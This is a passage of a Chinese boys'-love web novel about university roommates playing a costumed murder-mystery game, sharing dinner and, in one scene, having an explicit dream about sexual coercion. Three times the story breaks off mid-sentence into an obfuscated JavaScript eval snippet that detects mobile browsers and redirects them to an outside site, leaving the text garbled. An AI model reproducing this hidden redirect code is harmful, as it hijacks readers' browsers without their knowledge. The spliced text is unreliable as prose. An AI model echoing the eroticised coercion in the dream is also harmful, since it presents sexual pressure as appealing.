这房间很大,布置得确实很像一座喜堂,天花板上挂着红布垂下来,正前方放了两把椅子,其中一把坐着依旧是工作人员扮演的顾家老爷子,也就是顾泽鸣的父亲,另一位是顾老爷子几年前娶的四姨太聂娇娇,所以扮演聂娇娇的魏东霖坐在那边。 两人面对面站着,其他坐着的人冒充台下的宾客吃席——其实是在吃薯片喝雪碧。 “……一拜天地!”扮演喜婆的工作人员扯着嗓子喊。 见两人呆愣着没动,她提醒道:“该拜堂了。” 气氛似乎回到了那周五的第一节舞蹈课,甚至更加尴尬一些。 岑柏意先一步转身,面对稀稀拉拉的宾客们,扭头看了眼宁启洄。 两人弯腰,给宾客们鞠了个躬。 宁脸和盖头分开的瞬间,宁启洄盯着地上的空隙,余光瞥见旁边岑柏意盖着红色婚袍的腿。 台下响起稀稀拉拉的掌声,江千陵的喝彩尤为突兀,“好——” “……” “二拜高堂!” 两人转身,对高堂上的“父母”鞠了个躬,四姨太魏东霖有些受宠若惊。 “夫妻对拜——” 两人面对面,完成这一步。 弯下腰的一瞬间,岑柏意突然又想起那天看的将军同人文里,有一篇确实写到了他和宁启洄的成婚场面,和现在的场景高度重合。 有些晃神,过了几秒他才直起身,岑柏意垂在身侧的手指骤然捏紧,又很快松开,好在宽大的衣袖盖住,倒也没被人看出破绽。 “请新郎掀盖头——” 喜婆说完,岑柏意呼吸一屏,随后细长的手指慢慢挑起那块红盖头。 岑柏意撩起宁启洄盖在头上的红盖头,待看见底下人的模样,他呼吸重了几分。 宁启洄本就生得白,血红色的婚袍衬得宁启洄皮肤更似冬雪,精致的眉眼压都压不住,眉心更是点了一抹朱砂痣,美丽动人。 他整个人像是藏在玫瑰丛里的露珠,高贵华丽又脆弱不堪。 岑柏意眼睛一错不错地看着,连呼吸都轻轻放缓,似乎怕冲撞了眼前人。 只有林枫晚很煞风景地小声逼逼,“阿宁这样好像鬼新娘,脸色煞白煞白的。” “……”你闭嘴吧。 江千陵一言难尽地看了眼林枫晚。 宁启洄有些不适应地扯了扯发饰,头上戴满了簪子,都是插在假发上的。 随着他的动作,满头珠翠轻轻晃动,叮当作响。 “会不会很奇怪?”宁启洄呲呲牙,有些不太好意思地问。 “不会。” “不会!” 岑柏意声音很轻,在场的人除了宁启洄,再没有其他人听见。 宁启洄的视线和他接触一瞬,又像是被烫到了一般,迅速错开来。 他耳根慢慢烧起来,微微点头,没说什么。 反倒是林枫晚斜睨了冯兹毫一眼,有你什么事? 冯兹毫也意识到自己的反应太过激烈,他挠挠头,只说确实好看。 “好了,新郎可、可以吻新娘了。”喜婆犹犹豫豫,还是把词说了。 以往来玩这个本的小情侣都会热烈或者羞涩地亲在一起,谁知道今天会来一屋子大小伙子。 流程她是走完了,他们亲不亲就和她没关系了。 气氛瞬间凝滞,岑柏意垂眸看向宁启洄,昏黄的烛光下,宁启洄的脸被映得有些红,眼眸明亮如星,唇瓣殷红似血。 宁启洄定定看回去,原本有些尴尬,却看见岑柏意的眼神似乎有些变化,眸色比平时更深了许多。 感受到氛围不太对,DM及时吹灭所有蜡烛,继续走流程,“突然,顾府的喜堂灭了灯,黑暗里似乎有什么东西在移动……” 岑柏意上半身微微前倾凑近宁启洄,带起一小阵风,宁启洄一哆嗦,刚要后退一步,却被岑柏意先一步的动作给钉在原地。 岑柏意伸手,指尖顺着他的面部轮廓往下滑,若即若离的触感让宁启洄心头有些异样的感觉。 黑暗里,感官被无限放大。 不知道是不是宁启洄的错觉,他总觉得岑柏意的指尖似乎划过了他的嘴角,又慢慢往下,停在他脖颈处,就在喉结的位置,很轻,像是羽毛搔痒。 宁启洄喉结滚了几下,轻轻碰到岑柏意的指尖,他身体一颤,脚却定在原地没有动弹。 气氛变得有些怪异,宁启洄觉得似乎有些热,他的脸温度慢慢升上去,快要烧起来了。 “抱歉没找准地方。”岑柏意及时松手,声音很轻地为自己的行径解释了一下,“你衣领开了。” 烛光再度亮起,宁启洄闻言,低头看了看。 “?”哪里开了? “帮你整理好了。”岑柏意淡淡道。 宁启洄恍然大悟,原来刚才是在给他整理衣服啊! “谢谢啊。”宁启洄感激道。 “……”岑柏意动了动嘴,似乎有很多话,但最终却只说,“不客气。” “顾老爷死了!”DM的话瞬间拉回众人的注意力,这位小厮语气悲恸却面无表情地看着太师椅里歪着头闭上眼的顾老爷。 果然“死人”了。 宁启洄若有所思,盯着DM看了一会,突然开始发散思维,“有可能是你干的吗?” “……你猜?”DM木着双死鱼眼看他。 “……”看来不是。 没过多久,几位工作人员把顾老爷的“尸体”抬了下去。 顾老爷被抬着出去,头不小心磕了桌子,砰的一声很响。 宁启洄瞥见顾老爷垂下的手紧紧捏起,又迅速放开。 ……还挺敬业,老板工资没白开。 等回到座位上,岑柏意不着声色和宁启洄先换了个位置,把他和冯兹毫隔开了。 宁启洄挑眉,倒也没说什么。 几人七嘴八舌讨论了一下,等走完剧情第二部分,每个人似乎都有点嫌疑,大家手里都有点不可告人的“证物”。 大少爷顾泽鸣贴身放了把匕首,新娘子卫晨曦房间里搜出了针管,仆人古修身上揣着麻醉剂…… 这时候,DM又木着脸开口:“接下来,请各位玩家依次去密室单独取道具。” 从外到内,最外侧的是林枫晚,他去时兴高采烈,回来时捏着一张照片吱儿哇乱叫。 “啊啊啊有鬼——”林枫晚鬼哭狼嚎地坐回来,被一旁的江千陵捂住嘴强制镇压。 安静了一会,他才转身去了楼下的密室。 很快便到了岑柏意。 等那道高大的身影离开,冯兹毫悄无声息凑近宁启洄,悄悄问:“小洄,我可以这么叫你吧?你和岑柏意是什么关系啊,真是……贴吧说的那样啊?” 就在刚才他们依次去拿线索的间隙,汤宇给冯兹毫恶补了校草和系草的二三事,并劝他少打宁启洄的注意。 他听完整个人都快碎了,却还是不死心来问问。 宁启洄犹豫几秒,还是强装面无表情,“不是,没有,你别乱说。” 冯兹毫大大松了口气,看向宁启洄的目光更加温和了。 宁启洄被看得鸡皮疙瘩都起来了,他有些不适应地往另一边缩了缩。 还好这时,岑柏意取了道具回来了,冯兹毫老老实实坐回自己的座位上。 “下一个。”DM穿着朴素的小厮服饰,看着他们,很不走心地鞠了个躬,面无表情走流程。 宁启洄起身,提溜着宽大婚服往外走,女式婚服他穿着倒是不长,但裙摆还是有些宽大,走路不太适应。 密室就在楼下,宁启洄刚出门就被工作人员戴上了眼罩,一步步扶着往下走。 蒙着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012928|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,宁启洄仔细感受周边的环境。 下了一层楼,然后左拐,走了大概三十步,他听见工作人员开了门,与此同时,他脸上的眼罩被取了下来,房间里一片漆黑,除了桌子上摆在一个烛台,烛台正散发着微弱的光芒。 他拿起烛台,在漆黑的屋子里搜索,不到一分钟,他就在衣柜里发现了一张照片。 又找了两分钟,剩下那个线索他还是没能找到——他看岑柏意拿回来的就有两张。 房间边上有一个有些大的桌子,桌面上并没有线索,但有一张顾老爷的遗像,正冲着他诡异微笑。 宁启洄思索一下,拿起遗像翻了翻,后面并没有文字,看来不是线索。 他盯着宽大的桌子看了一会,慢慢下蹲,撩开垂在地上的长长桌布,猝不及防和一张带着恐怖面具的“鬼”对视。 “……”宁启洄猛地闭眼,给自己做了下心理建设,然后缓缓睁眼,跟桌子底下的NPC打着商量,“是这样,兄弟你先等等,我把线索找齐了再说行吗?” 戴着恐怖面具的NPC一顿,居然顺从地缩回桌子底下。 宁启洄松了口气,拎着小烛台四处寻找。 又过了一两分钟,他还是没能找到第二张照片。 他有点轻微的夜盲症,在昏暗的环境里不太看得清。 宁启洄敲了敲桌面,再次猝不及防和头钻出来一半的NPC对上眼。 他心脏颤了颤,语气依旧稳如老狗,“兄弟,再打个商量,能不能告诉我线索搁哪了?” “……” NPC沉默了数息,抬手指了指桌子旁边那张不起眼的小凳子。 “谢了兄弟。” 宁启洄走过去,把烛台往前伸,果然看见了另一张照片。 凳子太矮了,再加上烛火不太亮,宁启洄几次路过小凳子都没想着往下面看看。 宁启洄终于找齐了线索,高兴的不只是他,还有几次现身又不得不回炉的NPC“鬼”先生。 NPC迅速从桌底钻出来,宁启洄快速绕桌而走,靠近房门伸手上去,即将迎接走廊上的光明。 他推了推房门,居然纹丝不动。 “?” 这么狗?工作人员还带堵门的。 NPC已经靠近了,宁启洄面无表情站在原地,看着NPC凑近。 他本身不怕鬼,只是受不住突然的惊吓而已,这种预谋已久摆在明面上的,他表示,洒洒水啦。 见他没反应,NPC突然往前跨了一步,一张恐怖丑陋的面具凑到宁启洄跟前。 宁启洄尖叫一声,蜷缩在地上。 好他妈痛! 为什么都要踩他的脚,还精准地踩到他的伤脚! 不过好在他的腿已经基本上恢复了,上次复查李医生也说骨头长得很好,这下痛只是单纯被踩到脚痛而已。 NPC没察觉到自己踩了人,很满意这位胆大包天的新娘子终于被吓到了,配合着恐怖BGM,他阴恻恻笑了几声。 堵门的工作人员也终于进来把他带走了。 等回到游戏房,宁启洄的脚已经不痛了,但刚才的剧痛带来的不适感还在。 岑柏意坐得近,他眼尖地注意到宁启洄煞白的脸,轻轻拧起眉。 凝神去看,宁启洄睫毛上还挂着几点泪珠,岑柏意心微微揪了一下,但心底又滋生出有些暴戾的情感。 压下心里的想法,岑柏意侧身凑近,嘴唇几乎擦过宁启洄的耳畔,但又克制地隔了一指的距离。 “怎么了,害怕?” 要是换个人这么跟他说,宁启洄肯定会认为是在挑衅他,二话不说就炸毛反驳。 但现在,他只是眨眨眼,说没有。 “别怕。”岑柏意觉得他是在逞强,轻声安慰了几句,随后有些迟疑地伸出手,揉了揉他的脑袋。 假发的手感很一般,岑柏意想,如果是宁启洄的头发,肯定会更软。 刚才凑太近,热气喷洒在他的耳根和脖颈处,现在又被揉了头,宁启洄实在不知道先顾着哪边。 他大脑一片空白,呆愣在原地,没有任何反应。 岑柏意轻笑一声,坐直了身子。 最后一个也拿了线索回来,几人把线索摊在桌子上分享,宁启洄看了看,扭头看向林枫晚,“你为什么只有一张牌?” 林枫晚动了动嘴,小小声,“那鬼追着我赶,跑着跑着掉了一张。” “……” 密室每人只能去一次,估计那线索早就被工作人员收起来了。 证物是一张张照片,照片背后有文字。 照片上带血的丝绸带子显示是在四姨太聂娇娇的房间里找到的,而私人医生戴维上锁的抽屉里有一份四姨太的体检报告,其中包括器官配型检测。 18. 岁宝 几人叽里呱啦分析一通,一致认为凶手是戴维,毕竟他和顾老爷的四姨太搞上了,而且私人医生悄无声息杀个人什么的最容易了。 只有岑柏意觉得哪里不太对,他在想那份四姨太的体检报告,以及那层诡异的地下室。 剧本翻到最后一部分,DM面无表情开始念台词:“几人举着灯再次进入地下室,突然,地下室剧烈晃动,顾泽鸣下意识把卫晨曦护在怀里——” 说完,DM停止那毫无感情的朗诵,看了他们一眼,目光里满是催促。 “……” 又到了熟悉的演绎环节,宁启洄接受良好,毕竟这一路玩下来,他和他的新郎顾大少已经产生无数次肢体接触,他都有些免疫了。 岑柏意眉尾一挑,眼神询问:抱吗? 宁启洄扯扯嘴角:来。 绯红的喜袍缠绕在一起,两人都身体紧紧依靠,岑柏意手臂绕过宁启洄单薄的背脊,手掌牢牢扣住宁启洄的头,把他按在自己怀里。 俨然是一副保护的姿态。 “……” 倒也不必这么假戏真做,他快要窒息了! 一贴近,他就能闻见那股特殊的木质香,淡淡的,很好闻,他很喜欢。 在场所有人都在为这唯美动人的画面感动,除了冯兹毫,他现在后悔得要死,心想要是早点下手抢婚袍就好了。 几人从一点开始,玩到了七点多才结束。 最终的凶手居然是仆人古修,整篇故事围绕着顾老爷子和戴维那作死的人体实验,其他人都是来复仇的苦主。 古修的扮演者冯兹毫叉腰大笑,“没想到吧啊哈哈哈!” 就很反派。 一旁的魏东霖没眼看了,把他按住。 散场时,DM很不走心地给老板拉了个客,“欢迎下次光临。” “……” 几人在等电梯,落后几步的宁启洄突然回头看了一眼,染着黄色头发的老板Timmy勾下DM的脖子,凑到他耳边小声逼逼,“你就这么给我拉客的啊?一点都不热情。” DM比老板要高许多,此刻顺从地低下头配合他。 闻言,DM在他嘴角亲了亲,“对你热情就行。” Timmy咧嘴笑了笑,捧着DM的脑袋亲了亲。 不知道Timmy说了些什么,宁启洄只看见DM的眼神瞬间变得有些凶,他拉住Timmy的手腕,快步走进另一个房间。 “……你说怎么样,小洄?”冯兹毫突然扭头,问宁启洄。 宁启洄回神,“怎么了?” “小洄,我们商量着一起吃顿饭,都是缘分嘛,怎么样?”冯兹毫重复刚才的话。 宁启洄点头。 林枫晚狠狠皱眉,嚷嚷道:“叫这么亲密干什么?!” “你都叫他‘阿宁’,我为什么不能叫‘小洄’?” “那能一样吗,我们从小就认识的!” 冯兹毫挑眉,“小洄自己同意了,不信你问,是吧小洄?” 在场所有人的目光都聚集在他身上,来自身侧的目光尤其灼热。 宁启洄愣了一会,好不容易想起来,冯兹毫似乎确实问过他,他也的确点了头。 “对的。”眼见林枫晚肉眼可见地低沉下去,浑身写满了“阿宁不跟我第一好了”的怨念,以及对宁启洄的控诉,他不得已哄了两句,“无非就是个称呼罢了。” 林枫晚这才轻哼一声。 冯兹毫兴高采烈地说:“我请吃日料可以吗,这家日料味道不错!” 宁启洄瞥了眼,是A市很有名的一家日料店,大学城有一家分店,味道确实不错,但价格也挺美丽的。 这家伙还挺有钱,贫穷的宁大少爷如是想,又侧目打量了一下冯兹毫。 余光瞥见宁启洄的视线,冯兹毫不自觉挺起身子,下颌绷得紧紧的。 坐了电梯下去,几人跟着冯兹毫朝日料店走去,离这里不是很远,大概二十分钟的路程。 岑柏意看了眼走在前面的人,侧头小声说:“他叫你小洄。” 热气凑近,宁启洄有些不适应地揉了揉耳朵,强装镇定点头。 “那我可以叫吗?” 宁启洄诧异地看了他一眼,“叫就叫呗,又不会少块肉。” 岑柏意点点头,安静了一会,又小小声:“岁宝。” 宁启洄身形猛地顿住,不可置信地扭头看向岑柏意。 瞥了眼离得不远的其他人,他压低声音问:“你叫我什么?!” “岁宝。” “……”不是让你再叫我一遍的意思。 宁启洄深呼吸,凶巴巴道:“不许这么叫我!” “为什么?我听你妈妈那天就是这样喊你的,岁宝。”岑柏意语气有些低沉,听着委屈巴巴的。 宁启洄被叫得心都抖了几下,这称呼,只有苏女士和外公外婆会叫,都是关系很亲密的人,宁先生更多的时候是叫他的名字,现在冷不丁被岑柏意这么一叫,感觉哪里怪怪的。 宁启洄嘀嘀咕咕说了两句,“反正,反正……就是不行……” 岑柏意抿唇,眼皮都垂下来了,像个忧郁的美男子,“可是,你说的,无非就是个称呼罢了。” 见宁启洄还要反驳,岑柏意语气更是低落,“反正,又不会少块肉。” 宁启洄:“……” 好得很,以子之矛攻子之盾①,这个韩非子你来当。 见他模样实在可怜,宁启洄还没见过高冷校草这副模样,着实稀奇,然后就鬼迷心窍地点头了。 “不许在别人面前这么叫!”宁启洄回神,恶狠狠补充。 要是让林枫晚听见了,这大喇叭给捅出去,指不定传成什么样子,到时候同人贴再添新粮。 岑柏意唇角微微翘起,“岁宝,你真好。” 宁启洄脸烧得通红,讷讷道:“没什么。” 岑柏意笑了起来,眼睛都弯着,看起来心情很是愉快。 两人无言走了一段路,离前面的人越来越远。 “他们……”岑柏意突然说。 等了一会,见他不说话了,宁启洄疑问,“嗯?” 岑柏意等前面几人走得有一些距离了,才缓缓继续道:“刚才,老板和DM亲嘴,我也看见了。” 宁启洄心头一跳,“怎么了吗?” “你……”岑柏意斟酌着用语,“你讨厌同性恋吗?” 他到底是对那天江千陵的恶魔地狱有些在意。 宁启洄摇头,“不啊,性向这个东西,尊重就好,反正同性恋异性恋也没什么不同的。” 岑柏意拧眉,顿了顿,道:“我不是这个意思,我是说……” 注意到宁启洄眼里的好奇愈盛,完全没有意识到他在说什么,岑柏意眉心一跳,咽下未尽的话,“算了,没事。” “……”吊人胃口真的很过分诶! 林枫晚见两人落后了,大着嗓门挥手,“快点啊阿宁,我都饿扁了!” 江千陵:“……” 他看了眼身后紧挨着说悄悄话的两人,无奈叹气。 真的,当一个合格的僚机真的很累,尤其是还有个猪队友在。 —— 日料店的三文鱼很新鲜,宁启洄实在是饿了,忍不住多吃了几块。 当他再次伸筷子去夹时,被岑柏意按住了。 “?” 他抬头看过去,岑柏意淡淡道:“你肠胃不好,少吃点冷的。” 他哪里肠胃不好了,他只是脾胃虚弱而已,而且他有喝药! 宁启洄对上岑柏意不容反抗的视线,嘀嘀咕咕,还是缩回筷子,老老实实吃热食。 冯兹毫瞥见了,笑道:“小洄喜欢吃这个啊?下个月我家办宴会,正好有新鲜运来的三文鱼,你要来吗?” 他也听见了岑柏意说的话,想了想,补充道:“也可以做熟了吃,我家厨师手艺很不错。” 宁启洄狠狠心动。 以前宁先生也不是没带他去过宴会,不过都是商业性质的宴会或者酒会,就算是普通吃席的宴会,最后也会变成拉合作谈生意的局面,宁启洄听着无聊。 再加上宁先生还按着不让他喝酒,吃东西也不能太狂放,毕竟宁总的独子也代表了宁氏集团的脸面,他觉得无聊就再也没去过了。 这种……以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012929|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友身份去的,应该不会有那么多限制吧? 宁启洄咽了咽口水,可耻地心动了,能毫无顾忌大炫特炫! 一旁的岑柏意却突然瞥了眼江千陵,后者心领神会,戳戳在狂炫寿司的林枫晚,“哎,你家阿宁要去聚会,你不去?” 这人吃起东西来,像是聋了一样,对外界不管不顾的。 林枫晚一愣,连忙咽下嘴里的寿司,“我我我,我也去!” 江千陵笑道:“那我也去吧。” 林枫晚斜睨他一眼:有你什么事? 江千陵和他对视:凑凑热闹。 没办法,他得当僚机。 岑柏意最后一个开口:“我也去。” 冯兹毫一愣,随即点头笑道:“没问题,到时候联系你们。” 宁启洄:“……”有人问过他的意见吗,他好像还没回答? 就这样,原本对宁启洄一人发出的邀请,变成了剧本杀小分队的集体行动。 而冯兹毫,也顺利加上了宁启洄的微信。 当天晚上,林枫晚就收拾行李回家了,林家人要赶明早的飞机回老家,再转车进县城。 宁启洄托他把自己的集邮册带了回去,还拿了几个钩针织的小挂坠和杯垫,让他带给苏女士。 苏女士向来喜欢这些可爱小玩意,这些都是上次社团纳新活动领的,虽然是免费礼品但是质量做工还是挺不错的。 小小一个,当书包挂件或者小摆件都很合适。 宁启洄想,等他有空了,就买材料来自己勾,再送给苏女士。 林枫晚拉着行李箱急匆匆往外走,想了想,又止住脚步,掉头来问宁启洄,“阿宁,你生日不是快到了嘛,想要什么我送你。” “最近看上双鞋,我把链接发你。”宁启洄想了想,说。 林枫晚比了个OK的手势,再次出门。 拎着箱子也准备走的江千陵诧异,“你们送礼物都这么送?”一点惊喜都没有。 宁启洄点头,想起了一些不太好的经历。 当年,他和林枫晚还只是两个零花钱不多的贫穷初中生,林枫晚手里存的一点钱被胡女士哄去投资她的美容院了——因为胡女士失败了两次,她不想再找林先生要,于是把注意打到了小儿子身上,虽然后面越做越好,林枫晚拿了不少分红,但那段日子,林枫晚的生活着实灰暗无比。 当时还比较乖巧懂事的林枫晚压缩自己的生活费,把能给的钱都给了胡女士,胡女士感动不已。 扣除生活费,他已经没多少可支配的余钱了。 于是,那一年的生日礼物,林枫晚送了个极其炸裂的奥特曼——据说是在路边小摊摊上买的,物美价廉。 奥特曼的零件歪歪扭扭,长得也挺扭曲,一点不像正经奥特曼。 而且,年少的林枫晚只想把最好的给他的小伙伴。 于是,在那一天,宁启洄带着大蛋糕来到学校,迎面就看见林枫晚手里的等人高扭曲奥特曼。 宁启洄觉得,他的童年偶像被毁了。 然后,还被全班同学看到了。 即便宁启洄知道具体情况,也忍不住揍他一顿,就算不送都好点呢? 在那之后,两人送生日礼物都是提前看好互相通个气。 江千陵偷偷看了眼坐着椅子上似乎毫不在意的岑柏意,内心叹气,还得他来。 “还没问你呢,你生日什么时候?”江千陵扶着行李箱拉杆,挑眉问道。 “十月十一。” “那快了啊,得好好给你准备个礼物。”江千陵若有所思,也不知道是在点谁。 宁启洄刚想说不用,就听他继续道:“对了,岑哥生日是四月二十三的。” “……?”缓缓敲出一个问号。 我们俩聊得好好的,扯岑柏意做什么? 不理解,但尊重,宁启洄茫然点头。 宁启洄客气询问:“小林子是七月十九的,那你呢?”似乎进入了奇怪的互通生日环节。 江千陵摆摆手,“不重要。” “?”宁启洄再次茫然。 江千陵一笑,深藏功与名,拉着行李箱也离开了。 19. 梦境 晚上,山海七栋310只剩下了岑柏意和宁启洄两个人。 “你不回家吗?”太安静了,气氛有点怪怪的,宁启洄忍不住问。 岑柏意淡定翻书,“明天回。” 说着,顿了顿,“家教约的什么时候?” 宁大少爷这个假期都得勤勤恳恳去岑家给岑念小朋友补课。 “和夏姐商量过了,早上十点到十二点,下午两点到五点。”宁启洄翻了翻聊天记录。 岑柏意挑眉,“这么久?” 宁启洄扭头,语气阴森森,“不欢迎?” “哪里。”岑柏意笑了一下,摇头道,“中午两个小时怎么过?” 宁启洄想了想,“你家附近有图书馆咖啡厅吗?” 岑柏意:“……” 他轻声,“怎么了,我家待不住?” 宁启洄一乐,“也不是不行,那我点个外卖。” 岑柏意没说话。 时间到了凌晨,310熄了灯,宁启洄爬上床,准备闭眼迎接新的一天。 突然,他轻轻翻了个身,打开手机,偷摸进了贴吧。 同人贴又更新了,宁启洄刷新出不少新的同人文,最热的一篇同人文名字很正常——【和霸总合租一个月(落魄男大×多金总裁)】 宁启洄犹犹豫豫,还是点了进去。 故事很简单温馨,少儿不宜的画面也很少,主要讲述了一位高冷霸总捡到街边流浪的落魄男大,然后带回自己的小窝同吃同住最后同睡的故事。 同居……该死的,他现在不就在和岑柏意同居吗,虽然是在学校宿舍吧。 唯一沾点颜色的情节,是快结局的时候,岑总边做,边在宁同学耳畔念他写的同人文,还强迫他完成同人文里面有些黄暴修修的内容。 是的没错,这位落魄的宁同学沦落到写同人文了,准备靠打赏赚点钱,里面的主角正是一位落魄男大和多金霸总,以他们俩为原型进行创造,还没来得及发出去就被岑总截胡了。 岑总给宁同学打了十万买断这篇同人文,并鼓励他继续创造,然后美滋滋自己欣赏去了。 然后,当天晚上,边做边念,宁同学被日到哭。 第二天,两人都挂着大大的黑眼圈。 故事到这里就差不多了结束了,宁启洄诡异地沉默了一下。 “……”这个剧情,就很他妈眼熟啊。 取之于民用之于民是这么个用法吗? 林枫晚看了眼这篇同人文的作者,看花人。 “若待上林花似锦,出门俱是看花人。”他记得林若锦的名字就是取自这句诗。 好得很,林若锦,生怕他看不出来是吧。 宁启洄暗自磨牙,瞥了眼,发现这篇同人文的发布时间就在那个周日的晚上,他们下午才在食堂见过面,晚上就写出来。 好好好,真是高产啊看花人太太。 宁启洄点进看花人的账号主页,发现这人写了不少他们的同人文。 好家伙,全都是车。 他看的第一篇启蒙即炸裂的同人文,以及那篇更炸裂的古代背景的【七百里】,都是她写的,这篇同居文还算是比较清水的。 宁启洄有心想让林枫晚管管他妹妹,但自己偷摸看自己和CP的同人文这事实在是太羞耻了,不好解释。 百般权衡,宁启洄小心翼翼给看花人点了个关注。 他看着,咳咳,也算看着吧。 心惊肉跳地看完了,宁启洄默默闭上眼。 这次脑海里倒是没想着那行奇奇怪怪的各种play和炸裂新玩法,但这篇文写得很细腻,宁启洄深受感动。 当天晚上,他就做了个梦,梦里,他就是那个落魄男大,要去霸总家给霸总的弟弟勤勤恳恳做家教。 教着教着,顶着岑柏意那种俊脸的岑霸总让他们中场休息,岑柏意带着他去了卫生间。 “脱衣服。”岑柏意冷声命令,“不然你拿不到家教费。” 宁启洄又气又恼,按照他原本的性子,他会直接撂挑子不干走人,反正宁先生总不能饿死他。 但在梦里,宁启洄只是个无权无势的可怜男大,他屈辱又顺从地脱了上衣,咬唇看向岑柏意。 岑柏意欣赏了一会宁启洄雪白的皮肤,露出总裁特有的邪魅一笑,继续吩咐:“裤子也脱了。” 宁启洄咬咬牙,脱下有些褪色的牛仔裤,一双修长笔直的腿暴露无遗。 “内裤,留着过年吗?”岑柏意声音冰冷,但宁启洄明显看见,裁剪得体的西裤包裹着的已然有了变化。 宁启洄身体一抖,有些惶恐又无助地看向岑柏意,“岑总……” 岑柏意恶趣味地笑了笑,“怎么,不想要家教费了?” 宁启洄眼眶红了,他慢慢伸手,探向那最后一点布料。 “趴在那。”岑柏意声音有些粗重沙哑。 宁启洄趴在盥洗台前,绝望地闭上眼睛。 镜子里自己的表情迷离沉醉又忍辱…… 宁启洄惊醒,感受到一股湿润黏腻,他默默捂住脸。 这他妈是什么强取豪夺的剧本?! 完了,他居然在梦里猥亵岑柏意,哦不对,被岑柏意猥亵。 他真不是个人啊! 那股澎湃的新潮还在涌动,宁启洄坐着平息,看了眼时间,凌晨四点二十九。 他摸了摸床单,发现没弄湿,这才松了口气。 还好,他没有裸.睡的习惯。 鬼鬼祟祟爬下床,宁启洄发现卫生间的灯是亮着的,里面传来水声,声音很小,似乎是怕吵醒他。 宿舍里除了他就只有岑柏意了,凌晨四点半了,岑柏意莫名其妙洗什么澡? 宁启洄咬咬牙,决定把这条内裤直接毁尸灭迹给扔掉。 他现在完全不能直视岑柏意,最好暂时还是别见面了。 就在此时,卫生间的门开了,岑柏意浑身水汽地走出来,冰冰凉凉的,冻得宁启洄一哆嗦。 大晚上的洗什么冷水澡,宿舍空调温度开太高了? 岑柏意拢着浴巾,沉默地看着宁启洄手里捏着的那团黑色布料。 “我……”宁启洄思绪千回百转,最终咬咬牙,“尿床了。” 说完,狠狠闭眼,这他妈是什么破借口! 他在社恐和社牛之间,选择了社死。 “?” 岑柏意嘴角诡异地抽搐两下,眼尾缀着细碎的笑意,“尿床不洗床单?” 宁启洄强装淡定道:“嗯,床单已经干了。” 岑柏意:“……” 猜到宁启洄洗内裤的真实原因,岑柏意不着痕迹朝他身下扫了一眼,又快速收回视线。 宁启洄把内裤泡水,忽然想起什么,扭头恶狠狠威胁道:“不许告诉别人,不然杀你灭口!” 他可不想在同人文里看到他□□到失禁的画面,简直没眼看。 岑柏意忍笑道:“嗯,不会有第三个人知道你尿床的。” “……可以了,闭嘴吧。” 歪?幺幺零嘛,这种贱贱的一般关几年? 胡乱搓了两把,看不到白色痕迹了,宁启洄挂上晾衣绳——烘干机要等蛮久,他现在困得要死,只想回去睡觉。 岑柏意已经回到床上睡觉了,宁启洄想起他被热得去冲冷水澡,便贴心地把温度下调了两度。 他可真是个以德报怨的中国好舍友。 意识即将沉沦之际,宁启洄突然想到,为什么在自己的梦里,他还是下面那个啊! —— 第二天闹钟响的时候,宁启洄脑袋昏昏沉沉的,按了闹钟就要倒回床上。 岑柏意也刚醒,声音有些沙哑,“该起了,岁宝。” 声音像是带了钩子,宁启洄听得一激灵,立马就清醒了。 磨蹭好半天,两人一起出门,打车去了岑家。 确认夏玥不在家之后,宁启洄大胆了不少,笑眯眯冲岑柏意招手,“大侄子,给我倒杯水呗,要温水。” 就很宾至如归。 岑柏意看着面前人眼里含着狡黠之色,活像只小狐狸,舌尖舔过牙槽,倒是没说什么,转身去了厨房。 休息了一会,到了十点,宁启洄起身去了二楼。 刚开始,顾着岑柏意在家,岑念还是很听话的,但没装多久,他就原形毕露。 他所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那是说选择题,这他m——”凭借最后一丝理智,宁启洄咽下这句脏话,“这是大题,不能量!” “可是这里条件就不够了啊,证不出来线段a、b相等了。” 宁启洄被气得翻白眼,他耐着性子把这题讲了第五遍,岑念歪头看他,“可是这两个角为什么相等呢?” “题干给的啊……”宁启洄真的绝望了,他是看出来了,这小兔崽子存心和他作对,“我叫你爹行了吧,爹,求求你好好学!” 此时,端了两杯果汁上楼的岑柏意和暴怒但又不得不压抑的宁启洄对视一眼。 岑柏意看看他,又看了看趴在床上装死狗的弟弟,又看了看他,在心里默默算了算辈分,谨慎开口道:“大侄子?” “……滚。” 宁启洄是发现了,岑柏意这人是真记仇,一点便宜都占不得。 岑柏意没动,还是看着他。 宁启洄恨得牙痒痒,但碍于有个十来岁的小孩儿在边上看着,只能压低声音道:“快滚,不然小爷收拾你!” 岑柏意默默放下果汁,看了他一眼,没说什么,离开了。 果然,原形毕露了。 他住进310没多久就知道,宁启洄其实是个炸药桶,一点就炸。 不过这样也好,这才管得住岑念,脾气太好的只会被岑念欺负死。 宁启洄:“……”别以为他没看见,这货嘴角翘起来了! 围观全程的岑念咽了咽口水,默默拿起笔继续演算。 他发现了,小宁老师是真的凶,虽然不至于动手打他,但还是很凶,好吓人。 之后,今天的课程完成得轻松至极,小孩哥变得非常老实,问东绝不答西,不懂就问,错了就改。 宁启洄觉得很奇怪,问了一句。 